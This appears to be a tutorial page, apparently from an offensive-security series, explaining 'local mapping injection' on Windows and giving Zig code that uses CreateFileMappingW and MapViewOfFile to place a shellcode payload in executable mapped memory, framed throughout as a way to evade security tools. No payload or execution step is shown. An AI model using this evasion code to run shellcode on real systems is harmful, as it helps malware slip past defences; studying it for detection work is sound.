Local Mapping Injection
TL;DR
Local mapping injection is a technique that utilizes Windows file mapping APIs to create executable memory regions without directly calling VirtualAlloc
with PAGE_EXECUTE_READWRITE
permissions. This approach leverages mapped memory to execute shellcode within the current process, making it less suspicious to some security solutions.
Why Mapping Injection
Traditional shellcode execution often relies on VirtualAlloc
with RWX
permissions, which is a common indicator monitored by security solutions. Mapping injection offers several advantages:
- Use non-private memory: Memory allocated through file mapping is classified as mapped memory rather than private memory
- Evasion potential: Some security tools may not monitor file mapping operations as closely as direct memory allocation
- Legitimate API usage: File mapping APIs are commonly used by legitimate applications for memory management
Mapped Memory
In Windows, memory can be categorized into different types:
- Private memory: Memory allocated directly by the process (e.g., via
VirtualAlloc
) - Mapped memory: Memory that is associated with a file or file mapping object
When using file mapping, the memory is classified as mapped memory, which can help bypass certain security mechanisms that specifically monitor private memory allocations with executable permissions.
Local Mapping Injection
Local mapping injection works by:
- Creating a file mapping object with
CreateFileMapping
- Mapping a view of the file into memory with
MapViewOfFile
- Writing shellcode to the mapped memory region
- Executing the shellcode directly in the current process
This technique is particularly useful for:
- Executing shellcode in the current process
- Avoiding direct
VirtualAlloc
calls with executable permissions - Creating memory regions that appear more legitimate to security solutions
Needed Windows API
CreateFileMapping
extern "kernel32" fn CreateFileMappingW(
hFile: HANDLE,
lpFileMappingAttributes: ?*windows.SECURITY_ATTRIBUTES,
flProtect: DWORD,
dwMaximumSizeHigh: DWORD,
dwMaximumSizeLow: DWORD,
lpName: ?[*:0]const u16,
) callconv(WINAPI) ?HANDLE;
Creates a file mapping object for a specified file. When hFile
is set to INVALID_HANDLE_VALUE
, it creates a file mapping object backed by the system paging file.
Parameters:
hFile
: Handle to the file (useINVALID_HANDLE_VALUE
for paging file)lpFileMappingAttributes
: Security attributes (can be null)flProtect
: Memory protection (e.g.,PAGE_EXECUTE_READWRITE
)dwMaximumSizeHigh
: High-order DWORD of maximum sizedwMaximumSizeLow
: Low-order DWORD of maximum sizelpName
: Name of the file mapping object (can be null)
MapViewOfFile
extern "kernel32" fn MapViewOfFile(
hFileMappingObject: HANDLE,
dwDesiredAccess: DWORD,
dwFileOffsetHigh: DWORD,
dwFileOffsetLow: DWORD,
dwNumberOfBytesToMap: SIZE_T,
) callconv(WINAPI) ?PVOID;
Maps a view of a file mapping into the address space of the calling process.
Parameters:
hFileMappingObject
: Handle to the file mapping objectdwDesiredAccess
: Access permissions (e.g.,FILE_MAP_WRITE | FILE_MAP_EXECUTE
)dwFileOffsetHigh
: High-order DWORD of file offsetdwFileOffsetLow
: Low-order DWORD of file offsetdwNumberOfBytesToMap
: Number of bytes to map
localMapInject Function
The core function that performs the local mapping injection:
fn localMapInject(pPayload: []const u8, ppAddress: *?PVOID) bool {
var bState: bool = true;
var hFile: ?HANDLE = null;
var pMapAddress: ?PVOID = null;
// Create a file mapping handle with RWX memory permissions
hFile = CreateFileMappingW(
INVALID_HANDLE_VALUE,
null,
PAGE_EXECUTE_READWRITE,
0,
@intCast(pPayload.len),
null,
);
if (hFile == null) {
print("[!] CreateFileMapping Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
bState = false;
ppAddress.* = null;
return bState;
}
// Map the view of the payload to memory
pMapAddress = MapViewOfFile(
hFile.?,
FILE_MAP_WRITE | FILE_MAP_EXECUTE,
0,
0,
pPayload.len,
);
if (pMapAddress == null) {
print("[!] MapViewOfFile Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
bState = false;
ppAddress.* = null;
if (hFile) |handle| _ = CloseHandle(handle);
return bState;
}
print("[i] pMapAddress : 0x{X}\n", .{@intFromPtr(pMapAddress.?)});
// Copy payload to mapped memory
const dest = @as([*]u8, @ptrCast(pMapAddress.?));
@memcpy(dest[0..pPayload.len], pPayload);
ppAddress.* = pMapAddress;
if (hFile) |handle| _ = CloseHandle(handle);
return bState;
}
Process Flow:
- Create file mapping: Uses
CreateFileMappingW
withINVALID_HANDLE_VALUE
to create a mapping backed by the paging file - Map view: Uses
MapViewOfFile
to map the file into the process address space with write and execute permissions - Copy payload: Copies the shellcode into the mapped memory region
- Return address: Returns the base address of the mapped memory for execution
UnmapViewOfFile
While not used in this specific example, UnmapViewOfFile
is important for cleanup operations. It unmaps a mapped view of a file from the calling process's address space.
Usage:
Key Advantages
- Evasion: Uses legitimate file mapping APIs instead of direct memory allocation
- Memory classification: Creates mapped memory rather than private memory
- Flexibility: Can be extended for more complex scenarios like remote process injection
- Legitimate appearance: File mapping is commonly used by legitimate applications
Limitations
- Local execution only: This implementation only works within the current process
- Still detectable: Advanced security solutions may still detect the technique
- Memory permissions: Still requires executable memory permissions, which can be monitored
This technique demonstrates how alternative Windows APIs can be used to achieve similar results to traditional methods while potentially evading some security controls.